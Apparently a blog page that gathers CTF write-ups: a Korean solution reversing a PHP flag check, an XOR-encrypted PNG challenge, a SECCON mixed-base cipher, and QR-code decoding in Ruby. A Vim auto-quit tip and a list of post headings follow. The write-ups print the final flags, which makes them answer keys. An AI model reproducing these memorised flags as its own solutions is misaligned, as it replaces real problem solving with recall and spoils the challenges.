간단히 $_GET[flag]의 앞 글자 다섯 자리가 time_이라는 것을 알아낼 수 있습니다.

$flag_array의 경우 주석 때문에 가운데 영역이 주석 처리됩니다.

$flag_array = array(
    7,
    111,
    95,
    100,
    060
);

첫 번째 for 문은 한 줄로 끝나는 것으로, 다음 줄부터는 들여 쓰는 것이 아닙니다. $i도 for 문이 끝났으므로 5로 값이 고정되어 있습니다. 또한 $_GET[flag]가 아닌 $_GET[fIag]가 있는 것에 주의하시기 바랍니다.

for ($i = 1; $i < count($flag_array); $i++) { $flag_array[$i] = chr($flag_array[$i]); }
for ($count = 5; $count < 10; $count++) {
    if ($_GET[flag][$count].$_GET[fIag][$count - 5] != $flag_array[$count - 5].$_GET[fIag][$count - 4]) exit("wrong");
}

위 코드로부터 아래의 것들을 유추할 수 있습니다.

$_GET[flag][5] = "7";
$_GET[flag][6] = "o";
$_GET[flag][7] = "_";
$_GET[flag][8] = "d";
$_GET[flag][9] = "0";

그 다음은 $flag_len입니다.

$flag_len = strlen($_GET[flag]);
$length_chk = 1;
while ($flag_len > 1) $length_chk += $flag_len -= 1;
if (($length_chk < 110) || ($length_chk > 130)) exit("wrong");

$_GET[flag]가 16글자가 되어야 한다는 사실을 알 수 있습니다.

$stage3 = substr($_GET[flag], -7);
$stage3_1 = substr($stage3, 0, 6);
$stage3_2 = substr($stage3, 1, 6);
$tmp = "stage3_";
for ($i = 0; $i < 6;$i++) {
    $tmp .= ord($stage3_1[$i]) + ord($stage3_2[$i]);
}
if ($tmp != "stage3_143193195211162158") exit("wrong");
echo "You did it!<br>Flag is {<strong>" . $_GET[flag] . "</strong>}";

$_GET[flag]의 뒤에서부터 7글자를 알아낼 수 있는데, 뒤에서 7번째 글자는 이미 0으로 정해져 있으므로 거기에서 chr(143 - ord('0'))은 _, chr(193 - ord('_'))은 b, …의 방식으로 끝까지 유추할 수 있습니다.

Flag는 time_7o_d0_bar0n입니다.

Trace - MISC100

Just Find a Key

Flag: 0xff
988087853 + k3y + IMG(png)

Hint: Its Decimal. u can change to Dotted Decimal.
Hint2: its IP Address in Decimal. therefore => http://988087853/k3y.png and image has been encrypted. try decrypt

988087853은 사실 IP 주소를 의미합니다. http://988087853으로 접속하면 우리에게 익숙한 IP로 변환됩니다. http://58.229.6.45군요. /k3y.png 파일을 받아 봅시다. 헥스 에디터를 통해 파일을 보게 되면 첫 4바이트가 0x76 0xAF 0xB1 0xB8인데, 0xFF와 XOR 해봅시다.

"\x76\xAF\xB1\xB8".bytes.map { |b| (b ^ 0xFF).chr }
# => ["\x89", "P", "N", "G"]

파일 전체가 0xFF와 XOR 되어 있는 상태입니다. XOR 하면 제대로 된 이미지를 볼 수 있습니다.

f = File.open('k3y.png', 'rb')
s = f.read
f.close

xor = File.open('k3y_xor.png', 'wb')
xor.write(s.bytes.map { |b| (b ^ 0xFF).chr }.join)
xor.close

그렇게 얻은 이미지는 아래와 같습니다.

Flag는 ASKY_ALWAYS!입니다.

SECCON CTF 2014: Easy Cipher Write-up

2014-12-08T15:11:30+00:00

Crypto100 - Easy Cipher

87 101 108 1100011 0157 6d 0145 040 116 0157 100000 0164 104 1100101 32 0123 69 67 0103 1001111 1001110 040 062 060 49 064 100000 0157 110 6c 0151 1101110 101 040 0103 1010100 70 101110 0124 1101000 101 100000 1010011 1000101 67 0103 4f 4e 100000 105 1110011 040 116 1101000 0145 040 1100010 0151 103 103 0145 1110011 0164 100000 1101000 0141 99 6b 1100101 0162 32 0143 111 1101110 1110100 101 0163 0164 040 0151 0156 040 74 0141 1110000 1100001 0156 056 4f 0157 0160 115 44 040 0171 1101111 117 100000 1110111 0141 0156 1110100 32 0164 6f 32 6b 1101110 1101111 1110111 100000 0164 1101000 0145 040 0146 6c 97 1100111 2c 100000 0144 111 110 100111 116 100000 1111001 6f 117 63 0110 1100101 0162 0145 100000 1111001 111 117 100000 97 114 0145 46 1010011 0105 0103 67 79 1001110 123 87 110011 110001 67 110000 1001101 32 55 060 100000 110111 0110 110011 32 53 51 0103 0103 060 0116 040 5a 0117 73 0101 7d 1001000 0141 1110110 1100101 100000 102 0165 0156 33

It looks like a set of numbers split with space. But there are multiple integer bases.

nums = %w(87 101 108 1100011 0157 6d 0145 040 116 0157 100000 0164 104 1100101
          32 0123 69 67 0103 1001111 1001110 040 062 060 49 064 100000 0157 110
          6c 0151 1101110 101 040 0103 1010100 70 101110 0124 1101000 101 100000
          1010011 1000101 67 0103 4f 4e 100000 105 1110011 040 116 1101000 0145
          040 1100010 0151 103 103 0145 1110011 0164 100000 1101000 0141 99 6b
          1100101 0162 32 0143 111 1101110 1110100 101 0163 0164 040 0151 0156
          040 74 0141 1110000 1100001 0156 056 4f 0157 0160 115 44 040 0171
          1101111 117 100000 1110111 0141 0156 1110100 32 0164 6f 32 6b 1101110
          1101111 1110111 100000 0164 1101000 0145 040 0146 6c 97 1100111 2c
          100000 0144 111 110 100111 116 100000 1111001 6f 117 63 0110 1100101
          0162 0145 100000 1111001 111 117 100000 97 114 0145 46 1010011 0105
          0103 67 79 1001110 123 87 110011 110001 67 110000 1001101 32 55 060
          100000 110111 0110 110011 32 53 51 0103 0103 060 0116 040 5a 0117 73
          0101 7d 1001000 0141 1110110 1100101 100000 102 0165 0156 33)
str = nums.map do |s|
  ord = if s.size >= 5
          s.to_i(2)
        elsif s =~ /[a-f]/
          s.to_i(16)
        elsif s.start_with?('0')
          s.to_i(8)
        else
          s.to_i
        end
  ord.chr
end
puts str.join

Just run with Ruby:

Welcome to the SECCON 2014 online CTF.The SECCON is the biggest hacker contest in Japan.Oops, you want to know the flag, don't you?Here you are.SECCON{W31C0M 70 7H3 53CC0N ZOIA}Have fun!

Finally the flag is:

SECCON{W31C0M 70 7H3 53CC0N ZOIA}

SECCON CTF 2014: QR (Easy) Write-up

2014-12-07T10:02:51+00:00

QR200 - QR (Easy)

Funniest joke in the world(?):
“Last night, I had a dream I was eating QR cakes….
but when I woke up, half my QR code was gone!”

世界一面白いジョーク：
昨晩フランネルケーキを食べる夢を見たんだけど、
朝起きたらQRコードが半分なくなってたんだ！

First Look

At first, we need clean image based on the image above.

The size of this QR code is 29x29 and the size of version V is N × N with N = 17 + 4V, so this is version 3.

Format Information

Note that the area indicates format information of QR code. Actually the format information is 15 bits long and the area has last 8 bits.

Searching the list of all format information strings, we can find out that the type information bits are 001001110111110. So this QR code has ECC level H and mask pattern 1.

Off the Mask

According to QR Mask Patterns Explained, mask number 1 has formula (row) mod 2 == 0. Note that the row number start from 0. So we have to switch the bit of the row of which the coordinate is 0, 2, 4, …, 28.

Also there are fixed patterns in QR code, so we have to switch bits of data section only. See the data area and the bit order.

(via wikipedia.org)

So, the raw D1–D26 are:

D1  = 0b11101100
D14 = 0b10000010
D2  = 0b11111000
D15 = 0b10010101
D3  = 0b00110110
D16 = 0b00111101
D4  = 0b01110110
D17 = 0b01100010
D5  = 0b00100010
D18 = 0b11101001
D6  = 0b11110001
D19 = 0b10100001
D7  = 0b00110111
D20 = 0b11100101
D8  = 0b01010010
D21 = 0b11010101
D9  = 0b00010111
D22 = 0b00101101
D10 = 0b11011110
D23 = 0b10010111
D11 = 0b01000100
D24 = 0b10001011
D12 = 0b01010100
D25 = 0b01111000
D13 = 0b11001101
D26 = 0b11000110

After masking off,

D1  = 0b00100000
D14 = 0b01001110
D2  = 0b00110100
D15 = 0b01011001
D3  = 0b11111010
D16 = 0b00001110
D4  = 0b01000101
D17 = 0b01010001
D5  = 0b00010001
D18 = 0b11011010
D6  = 0b00111101
D19 = 0b10010010
D7  = 0b00000100
D20 = 0b11010101
D8  = 0b10011110
D21 = 0b00011001
D9  = 0b11010100
D22 = 0b00010001
D10 = 0b00010100
D23 = 0b00001110
D11 = 0b11011101
D24 = 0b00010010
D12 = 0b11010010
D25 = 0b00011111
D13 = 0b01010100
D26 = 0b01000000

Now we can start decoding the data.

Data Decoding

There are mode indicators for decoding:

0001: Numeric Mode (10 bits per 3 digits)
0010: Alphanumeric Mode (11 bits per 2 characters)
0100: Byte Mode (8 bits per character)
1000: Kanji Mode (13 bits per character)
0111: ECI Mode

Character count indicator follows after a mode indicator.

Version 1–9
- Numeric mode: 10 bits
- Alphanumeric mode: 9 bits
- Byte mode: 8 bits
- Kanji mode: 8 bits
Version 10–26
- Numeric mode: 12 bits
- Alphanumeric mode: 11 bits
- Byte mode: 16 bits
- Kanji mode: 10 bits
Version 27–40
- Numeric mode: 14 bits
- Alphanumeric mode: 13 bits
- Byte mode: 16 bits
- Kanji mode: 12 bits

See the encoding process for each mode:

Let’s start with above data D1–D26:

data = '00100000' \
       '00110100' \
       '11111010' \
       '01000101' \
       '00010001' \
       '00111101' \
       '00000100' \
       '10011110' \
       '11010100' \
       '00010100' \
       '11011101' \
       '11010010' \
       '01010100' \
       '01001110' \
       '01011001' \
       '00001110' \
       '01010001' \
       '11011010' \
       '10010010' \
       '11010101' \
       '00011001' \
       '00010001' \
       '00001110' \
       '00010010' \
       '00011111' \
       '01000000'
alphanumeric = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:'.chars

def read(str, size)
  str.slice!(0, size)
end

def kanji(num)
  if num >= 0x1740
    (0xC140 + num / 0xC0 * 0x100 + num % 0xC0)
      .chr(Encoding::Shift_JIS).encode(Encoding::UTF_8)
  else
    (0x8140 + num / 0xC0 * 0x100 + num % 0xC0)
      .chr(Encoding::Shift_JIS).encode(Encoding::UTF_8)
  end
end

loop do
  case mode = read(data, 4)
  when '0010' # Alphanumeric
    count = read(data, 9).to_i(2)
    (count / 2).times do
      chunk = read(data, 11).to_i(2)
      print alphanumeric[chunk / 45] + alphanumeric[chunk % 45]
    end
    print alphanumeric[read(data, 11).to_i(2)] if count.odd?
  when '0100' # Byte
    count = read(data, 8).to_i(2)
    count.times do
      print read(data, 8).to_i(2).chr
    end
  when '1000' # Kanji
    count = read(data, 8).to_i(2)
    count.times do
      print kanji(read(data, 13).to_i(2))
    end
  when '0000' # Terminate
    break
  else
    fail "Unhandled mode #{mode}"
  end
end

Fortunately, the QR code contains alphanumeric encoding and byte encoding only. You can get the flag by running above code with Ruby:

SECCON{PSwIQ9d9GjKTdD8H}

References

QR code on Wikipedia
QR Code Tutorial by Thonky
How to Read QR Symbols Without Your Mobile Telephone by Bill Casselman

Automatically Quit Vim if Actual Files are Closed

2014-11-30T09:02:45+00:00

Sidebar

Many Vim user use plugins which open sidebar like NERDTree or Tag List. In my case, I always open NERDTree and Tag List on Vim startup. Their file and tag navigation features are extremely handy.

We use :q to quit, :q! or ZQ to quit without saving, :wq, :x or ZZ to save and quit. But these commands are applied to only one buffer. NERDTree or Tag List windows are not closed until we close them individually or quit all using :qa.

Getting into the Problem

But as one of the Vim users, I close it within a few minutes or even a few seconds after I opened it. I want to keep quitting Vim easy. Using :qa everytime doesn’t make sence. Actually, NERDTree gives us a tip to close Vim if the only window left open is a NERDTree:

autocmd bufenter * if (winnr("$") == 1 && exists("b:NERDTreeType") && b:NERDTreeType == "primary") | q | endif

If I close the last window when a NERDTree exists, Vim automatically closes. But what if we have Tag List window also? winnr("$") returns the current window count, so the above code triggers only when the window count is 1. So Vim will quit automatically only when NERDTree is the last window.

Not Interesting Buffer

There are some types of window which isn’t important while quitting Vim.

Help

We can look up documentation of Vim itself or its plugins by :help or :h command. This is one of the most powerful features of Vim, but these windows aren’t editable and we don’t need them while quitting Vim.
QuickFix

Some plugins like Syntastic or Vim RuboCop show errors on QuickFix window and Vim supports navigating them with :cnext and :cprev. There windows aren’t needed also.
NERDTree and Tag List

Here is where we started.

Investigate the Buffer

Vim buffers have its type. Help and QuickFix buffers also have it so we’re ready to go. See 'buftype' documentation:

						*'buftype'* *'bt'* *E382*
'buftype' 'bt'		string (default: "")
			local to buffer
			{not in Vi}
			{not available when compiled without the |+quickfix|
			feature}
	The value of this option specifies the type of a buffer:
	  <empty>	normal buffer
	  nofile	buffer which is not related to a file and will not be
			written
	  nowrite	buffer which will not be written
	  acwrite	buffer which will always be written with BufWriteCmd
			autocommands. {not available when compiled without the
			|+autocmd| feature}
	  quickfix	quickfix buffer, contains list of errors |:cwindow|
			or list of locations |:lwindow|
	  help		help buffer (you are not supposed to set this
			manually)

Because quickfix and help type is already exists, all we have to do is retrieve that value. This code returns the buftype of current buffer:

getbufvar(winbufnr(0), '&buftype')

Note that winbufnr(0) returns the number of the buffer in the current window.

For NERDTree and Tag List, we check the name of the buffer.

bufname(winbufnr(0))

NERDTree has t:NERDTreeBufName for this, Tag List has same name for every buffer; __Tag_List__.

So we can check whether the current buffer is NERDTree or not with this:

exists('t:NERDTreeBufName') && bufname(winbufnr(0)) == t:NERDTreeBufName

For Tag List:

bufname(winbufnr(0)) == '__Tag_List__'

Automatically Quit Vim

We can check the current buffer is important or not. Then how can we check that for every buffer? Now do some basic programming.

function! CheckLeftBuffers()
  if tabpagenr('$') == 1
    let i = 1
    while i <= winnr('$')
      if getbufvar(winbufnr(i), '&buftype') == 'help' ||
          \ getbufvar(winbufnr(i), '&buftype') == 'quickfix' ||
          \ exists('t:NERDTreeBufName') &&
          \   bufname(winbufnr(i)) == t:NERDTreeBufName ||
          \ bufname(winbufnr(i)) == '__Tag_List__'
        let i += 1
      else
        break
      endif
    endwhile
    if i == winnr('$') + 1
      qall
    endif
    unlet i
  endif
endfunction
autocmd BufEnter * call CheckLeftBuffers()

Note that CheckLeftBuffers() will check buffers only when the tab page count is 1. It iterates every window and check its 'buftype' is 'help' or 'quickfix'. If every window is Help window or QuickFix window, i becomes winnr('$') + 1. Then we’re safe to quit all windows by calling qall. Finally we add CheckLeftBuffers() to BufEnter *, so it’ll be called on everytime we close a window—on the fly!

You can see my actual vimrc commit and also check out my dotfiles repo!

Update: In gVim, executing qall won’t work. You can use this line instead of qall:
```
call feedkeys(":qall\<CR>", 'n')
```
Update: If you have multiple tabs open, qall will close all buffers left. You may want to close only the current tab with :q, then you can use the only command:
```
call feedkeys(":only\<CR>:q\<CR>", 'n')
```

This will work with other Vim distributions. If it doesn’t or if you have another problems, feel free to make an issue or contact me.

Yous

Integrate Homebrew Ruby with chruby

Why should I compile?

Cleaning up

Integrating Homebrew Ruby with ruby-install

Default gems

Updating Ruby

How to open binary plist files using vim-plist

vim-plist

Problems

*.strings files

Saving a new file

Incomplete plist files (Update: 2019-06-18)

Solving the problems with .vimrc

Binary plist files

Saving a new file

Disable autocmds of vim-plist (Update: 2019-06-18)

Fix for editing a new file (Update: 2021-09-10)

Apply changes of vim-plist#5 (Update: 2022-04-09)

Conclusion

How to make a bootable USB with GRUB2 and ISO

Formatting USB disk

Installing GRUB2

Troubleshooting

See also

Pushing git repository to multiple remotes

Default git config

git remote set-url

Boston Key Party CTF 2017: vimjail write-up

vimjail (pwn 150)

Looking around

Jump into Vim

rvim

Jailbreak

33C3 CTF 2016: pdfmaker write-up

pdfmaker (misc 75)

What is the goal?

Behavior of \write18

Exploitation

HITCON CTF 2016: ROP write-up

ROP (Reverse 250)

New features?

Disassembling

Rebuilding the code

Finding the answer input

How to reset window size of Slack on Windows

Slack application

Resetting Slack’s window size

Slack 2.2.1

Slack 2.4.1, 3.3.3

Slack 4.13.0

Unicode Adopt-a-Character

Installing Ruby 1.8.7 on OS X El Capitan

A bug in Ruby 1.8.7

Supporting an ancient Ruby

Building Ruby 1.8.7

Switching RVM to chruby

Goodbye, RVM

Installing ruby-install

Installing chruby

32C3 CTF 2015: libdroid Write-up

Reversing (150)

Decompiling the APK

The native methods

Decompiling onCreate

The main logic

Emulating phoneHome

Moving Timezone to UTC in Jekyll

Revive the Tmux Sessions

Using Pinpoint with Docker

Preliminary

Requirements

Look into the Dockerfile

Running Docker

QuickStart

Install & Start HBase

Start Pinpoint Daemons

Stopping

Summary

Comparing binary files

Disable `autocmd`s of vim-plist (Update: 2019-06-18)

Behavior of `\write18`

Decompiling `onCreate`

Emulating `phoneHome`